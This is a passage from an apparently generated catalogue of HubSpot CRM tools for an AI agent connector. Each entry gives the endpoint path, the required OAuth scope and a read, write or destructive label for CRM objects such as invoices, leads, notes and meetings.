/crm/v3/objects/emails/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/emails/batch/create. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_emails_batch_read (read) — Read a batch of emails by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. Calls POST /crm/v3/objects/emails/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/emails/batch/read. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_emails_batch_update (write) — Update a batch of emails by internal ID, or unique property values. Update a batch of emails using their internal IDs or unique property values. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. Calls POST /crm/v3/objects/emails/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/emails/batch/update. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_emails_batch_upsert (write) — Create or update a batch of emails by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. Calls POST /crm/v3/objects/emails/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/emails/batch/upsert. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_emails_search (read) — Search for emails using specified criteria and filters. Perform a search for emails based on the provided query parameters and return matching results. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/emails/search on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/emails/search. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_feedback_submissions_batch_read (read) — Read a batch of feedback submissions by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Feedback submissions are NPS, CSAT and CES survey responses. Calls POST /crm/v3/objects/feedback_submissions/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/feedback_submissions/batch/read. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_feedback_submissions_search (read) — Search for feedback submissions using specified criteria. Execute a search to retrieve feedback submissions based on defined filters, properties, and sorting options. Feedback submissions are NPS, CSAT and CES survey responses. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/feedback_submissions/search on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/feedback_submissions/search. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_fees (write) — Create. Create a fee with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard fees is provided. Fees applied to quotes, invoices and orders. Calls POST /crm/v3/objects/fees on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/fees. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_fees_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of fees by ID. Archive multiple fees by their IDs, effectively moving them to the recycling bin. Fees applied to quotes, invoices and orders. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/fees/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/fees/batch/archive. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_fees_batch_create (write) — Create a batch of fees. Create multiple fees in a single request by providing a batch of fee objects with their properties and associations. This operation returns a list of the created fee objects, including their unique identifiers. Fees applied to quotes, invoices and orders. Calls POST /crm/v3/objects/fees/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/fees/batch/create. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_fees_batch_read (read) — Read a batch of fees by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Fees applied to quotes, invoices and orders. Calls POST /crm/v3/objects/fees/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. POST /api/v1/hubspot/crm/v3/objects/fees/batch/read. Scopes: crm.objects.line_items.read. hubspot_post_crm_v3_objects_fees_batch_update (write) — Update a batch of fees by internal ID, or unique property values. Update multiple fee records in a single request using their internal IDs or unique property values. This operation allows you to modify the properties of several fees simultaneously, streamlining the process of managing fee data in bulk. Fees applied to quotes, invoices and orders. Calls POST /crm/v3/objects/fees/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/fees/batch/update. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_fees_batch_upsert (write) — Create or update a batch of fees by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Fees applied to quotes, invoices and orders. Calls POST /crm/v3/objects/fees/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/fees/batch/upsert. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_fees_search (read) — Search for fees using specified criteria. Perform a search for fees based on various filters and criteria defined in the request body. The search can include specific properties, sorting options, and pagination details to refine the results. Fees applied to quotes, invoices and orders. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/fees/search on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. POST /api/v1/hubspot/crm/v3/objects/fees/search. Scopes: crm.objects.line_items.read. hubspot_post_crm_v3_objects_goal_targets (write) — Create a goal target. Create a goal target with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard goal targets is provided. Goal targets are the per-owner sales targets Sales Hub reports against. Calls POST /crm/v3/objects/goal_targets on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.write. POST /api/v1/hubspot/crm/v3/objects/goal_targets. Scopes: crm.objects.goals.write. hubspot_post_crm_v3_objects_goal_targets_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of goal targets by ID. Archive multiple goal targets in a single batch operation using their IDs. Goal targets are the per-owner sales targets Sales Hub reports against. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/goal_targets/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.write. POST /api/v1/hubspot/crm/v3/objects/goal_targets/batch/archive. Scopes: crm.objects.goals.write. hubspot_post_crm_v3_objects_goal_targets_batch_create (write) — Create a batch of goal targets. Create multiple goal targets in a single batch operation. Goal targets are the per-owner sales targets Sales Hub reports against. Calls POST /crm/v3/objects/goal_targets/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.write. POST /api/v1/hubspot/crm/v3/objects/goal_targets/batch/create. Scopes: crm.objects.goals.write. hubspot_post_crm_v3_objects_goal_targets_batch_read (read) — Read a batch of goal targets by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Goal targets are the per-owner sales targets Sales Hub reports against. Calls POST /crm/v3/objects/goal_targets/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.read. POST /api/v1/hubspot/crm/v3/objects/goal_targets/batch/read. Scopes: crm.objects.goals.read. hubspot_post_crm_v3_objects_goal_targets_batch_update (write) — Update a batch of goal targets by internal ID, or unique property values. Update multiple goal targets in a single batch operation using their internal IDs or unique property values. Goal targets are the per-owner sales targets Sales Hub reports against. Calls POST /crm/v3/objects/goal_targets/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.write. POST /api/v1/hubspot/crm/v3/objects/goal_targets/batch/update. Scopes: crm.objects.goals.write. hubspot_post_crm_v3_objects_goal_targets_batch_upsert (write) — Create or update a batch of goal targets by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Goal targets are the per-owner sales targets Sales Hub reports against. Calls POST /crm/v3/objects/goal_targets/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.write. POST /api/v1/hubspot/crm/v3/objects/goal_targets/batch/upsert. Scopes: crm.objects.goals.write. hubspot_post_crm_v3_objects_goal_targets_search (read) — Search for goal targets. Search for goal targets using specified criteria. Goal targets are the per-owner sales targets Sales Hub reports against. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/goal_targets/search on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.read. POST /api/v1/hubspot/crm/v3/objects/goal_targets/search. Scopes: crm.objects.goals.read. hubspot_post_crm_v3_objects_invoices (write) — Create. Create a invoice with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard invoices is provided. Invoices are the Commerce Hub billing document. Calls POST /crm/v3/objects/invoices on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.write. POST /api/v1/hubspot/crm/v3/objects/invoices. Scopes: crm.objects.invoices.write. hubspot_post_crm_v3_objects_invoices_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of invoices by ID. Archive multiple invoices by their IDs in a single request. This operation moves the specified invoices to the archive, making them inactive but retrievable for future reference. Invoices are the Commerce Hub billing document. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/invoices/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.write. POST /api/v1/hubspot/crm/v3/objects/invoices/batch/archive. Scopes: crm.objects.invoices.write. hubspot_post_crm_v3_objects_invoices_batch_create (write) — Create a batch of invoices. Create multiple invoices at once by providing a batch of invoice data, and receive a response with details of the created invoices, including their IDs. Invoices are the Commerce Hub billing document. Calls POST /crm/v3/objects/invoices/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.write. POST /api/v1/hubspot/crm/v3/objects/invoices/batch/create. Scopes: crm.objects.invoices.write. hubspot_post_crm_v3_objects_invoices_batch_read (read) — Read a batch of invoices by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Invoices are the Commerce Hub billing document. Calls POST /crm/v3/objects/invoices/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.read. POST /api/v1/hubspot/crm/v3/objects/invoices/batch/read. Scopes: crm.objects.invoices.read. hubspot_post_crm_v3_objects_invoices_batch_update (write) — Update a batch of invoices by internal ID, or unique property values. Update multiple invoices in a single request using either their internal IDs or unique property values. This endpoint allows for efficient batch processing of invoice updates, ensuring that changes are applied consistently across multiple records. Invoices are the Commerce Hub billing document. Calls POST /crm/v3/objects/invoices/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.write. POST /api/v1/hubspot/crm/v3/objects/invoices/batch/update. Scopes: crm.objects.invoices.write. hubspot_post_crm_v3_objects_invoices_batch_upsert (write) — Create or update a batch of invoices by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Invoices are the Commerce Hub billing document. Calls POST /crm/v3/objects/invoices/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.write. POST /api/v1/hubspot/crm/v3/objects/invoices/batch/upsert. Scopes: crm.objects.invoices.write. hubspot_post_crm_v3_objects_invoices_search (read) — Search for invoices using specified criteria. Execute a search for invoices based on filter criteria, sorting options, and properties to include in the response. This endpoint supports pagination and allows for complex queries using multiple filter groups. Invoices are the Commerce Hub billing document. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/invoices/search on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.read. POST /api/v1/hubspot/crm/v3/objects/invoices/search. Scopes: crm.objects.invoices.read. hubspot_post_crm_v3_objects_leads (write) — Create. Create a lead with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard leads is provided. Leads are the Sales Hub prospecting object that sits in front of a contact. Calls POST /crm/v3/objects/leads on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.write. POST /api/v1/hubspot/crm/v3/objects/leads. Scopes: crm.objects.leads.write. hubspot_post_crm_v3_objects_leads_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of leads by ID. Archive multiple leads by their IDs in a single request, moving them to the recycling bin. Leads are the Sales Hub prospecting object that sits in front of a contact. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/leads/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.write. POST /api/v1/hubspot/crm/v3/objects/leads/batch/archive. Scopes: crm.objects.leads.write. hubspot_post_crm_v3_objects_leads_batch_create (write) — Create a batch of leads. Create multiple lead records in a single request by providing a batch of lead data. This endpoint allows for efficient creation of leads by processing them together, which can be useful for syncing data from other systems or importing large datasets. Leads are the Sales Hub prospecting object that sits in front of a contact. Calls POST /crm/v3/objects/leads/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.write. POST /api/v1/hubspot/crm/v3/objects/leads/batch/create. Scopes: crm.objects.leads.write. hubspot_post_crm_v3_objects_leads_batch_read (read) — Read a batch of leads by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Leads are the Sales Hub prospecting object that sits in front of a contact. Calls POST /crm/v3/objects/leads/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.read. POST /api/v1/hubspot/crm/v3/objects/leads/batch/read. Scopes: crm.objects.leads.read. hubspot_post_crm_v3_objects_leads_batch_update (write) — Update a batch of leads by internal ID, or unique property values. Update multiple lead records using their internal IDs or unique property values. This endpoint allows batch processing of updates, where each lead's properties can be modified based on the provided input. Ensure that the properties being updated exist on the lead objects to avoid errors. Leads are the Sales Hub prospecting object that sits in front of a contact. Calls POST /crm/v3/objects/leads/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.write. POST /api/v1/hubspot/crm/v3/objects/leads/batch/update. Scopes: crm.objects.leads.write. hubspot_post_crm_v3_objects_leads_batch_upsert (write) — Create or update a batch of leads by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Leads are the Sales Hub prospecting object that sits in front of a contact. Calls POST /crm/v3/objects/leads/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.write. POST /api/v1/hubspot/crm/v3/objects/leads/batch/upsert. Scopes: crm.objects.leads.write. hubspot_post_crm_v3_objects_leads_search (read) — Search for leads using specified criteria. Perform a search for leads based on the provided filter groups, properties, and sorting options. The request allows for pagination and can return up to 200 results per page. Leads are the Sales Hub prospecting object that sits in front of a contact. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/leads/search on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.read. POST /api/v1/hubspot/crm/v3/objects/leads/search. Scopes: crm.objects.leads.read. hubspot_post_crm_v3_objects_line_items (write) — Create. Create a line item with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard line items is provided. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. Calls POST /crm/v3/objects/line_items on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/line_items. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_line_items_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of line items by ID. Archive multiple line items simultaneously by specifying their IDs in the request body. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/line_items/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/line_items/batch/archive. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_line_items_batch_create (write) — Create a batch of line items. Create multiple line items in a single request by providing the necessary properties and associations for each item. This endpoint allows for efficient batch processing of line items, returning the created objects with their unique identifiers. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. Calls POST /crm/v3/objects/line_items/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/line_items/batch/create. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_line_items_batch_read (read) — Read a batch of line items by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. Calls POST /crm/v3/objects/line_items/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. POST /api/v1/hubspot/crm/v3/objects/line_items/batch/read. Scopes: crm.objects.line_items.read. hubspot_post_crm_v3_objects_line_items_batch_update (write) — Update a batch of line items by internal ID, or unique property values. Update multiple line items using their internal IDs or unique property values. This endpoint allows for batch processing of updates, ensuring efficient modification of line item records in bulk. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. Calls POST /crm/v3/objects/line_items/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/line_items/batch/update. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_line_items_batch_upsert (write) — Create or update a batch of line items by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. Calls POST /crm/v3/objects/line_items/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/line_items/batch/upsert. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_line_items_search (read) — Search for line items. Execute a search for line items based on filters, properties, and sorting options provided in the request body. This endpoint allows you to retrieve line items that match specific conditions, facilitating targeted data retrieval in CRM operations. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/line_items/search on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. POST /api/v1/hubspot/crm/v3/objects/line_items/search. Scopes: crm.objects.line_items.read. hubspot_post_crm_v3_objects_meetings (write) — Create. Create a meeting with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard meetings is provided. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls POST /crm/v3/objects/meetings on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/meetings. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_meetings_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of meetings by ID. Meeting engagements on a record's timeline. Gated on the contacts scope. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/meetings/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/meetings/batch/archive. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_meetings_batch_create (write) — Create a batch of meetings. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls POST /crm/v3/objects/meetings/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/meetings/batch/create. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_meetings_batch_read (read) — Read a batch of meetings by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls POST /crm/v3/objects/meetings/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/meetings/batch/read. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_meetings_batch_update (write) — Update a batch of meetings by internal ID, or unique property values. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls POST /crm/v3/objects/meetings/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/meetings/batch/update. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_meetings_batch_upsert (write) — Create or update a batch of meetings by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls POST /crm/v3/objects/meetings/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/meetings/batch/upsert. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_meetings_search (read) — Meeting engagements on a record's timeline. Gated on the contacts scope. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/meetings/search on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/meetings/search. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_notes (write) — Create. Create a note with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard notes is provided. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. Calls POST /crm/v3/objects/notes on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/notes. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_notes_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of notes by ID. Archive multiple notes by their IDs in a single request. This operation moves the specified notes to the recycling bin, making them inaccessible from regular queries. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/notes/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/notes/batch/archive. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_notes_batch_create (write) — Create a batch of notes. Create multiple notes in a single request by providing the necessary properties for each note. This operation returns the created notes with their unique identifiers. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. Calls POST /crm/v3/objects/notes/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/notes/batch/create. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_notes_batch_read (read) — Read a batch of notes by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. Calls POST /crm/v3/objects/notes/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/notes/batch/read. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_notes_batch_update (write) — Update a batch of notes by internal ID, or unique property values. Update multiple notes using their internal IDs or unique property values. This operation allows you to modify the properties of several notes in a single request, streamlining the process of managing note data in bulk. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. Calls POST /crm/v3/objects/notes/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/notes/batch/update. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_notes_batch_upsert (write) — Create or update a batch of notes by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. Calls POST /crm/v3/objects/notes/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/notes/batch/upsert. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_notes_search (read) — Search for notes based on specified criteria. Execute a search for notes using filters, sorting options, and other query parameters to refine the results. This endpoint allows for complex queries to locate specific notes within the CRM system. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/notes/search on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/notes/search. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_orders (write) — Create. Create a order with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard orders is provided. Orders are the Commerce Hub order object. Calls POST /crm/v3/objects/orders on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.write. POST /api/v1/hubspot/crm/v3/objects/orders. Scopes: crm.objects.orders.write. hubspot_post_crm_v3_objects_orders_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of orders by ID. Archive a batch of orders identified by their IDs. Orders are the Commerce Hub order object. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/orders/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.write. POST /api/v1/hubspot/crm/v3/objects/orders/batch/archive. Scopes: crm.objects.orders.write. hubspot_post_crm_v3_objects_orders_batch_create (write) — Create a batch of orders. Create a batch of orders in the system. Orders are the Commerce Hub order object. Calls POST /crm/v3/objects/orders/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.write. POST 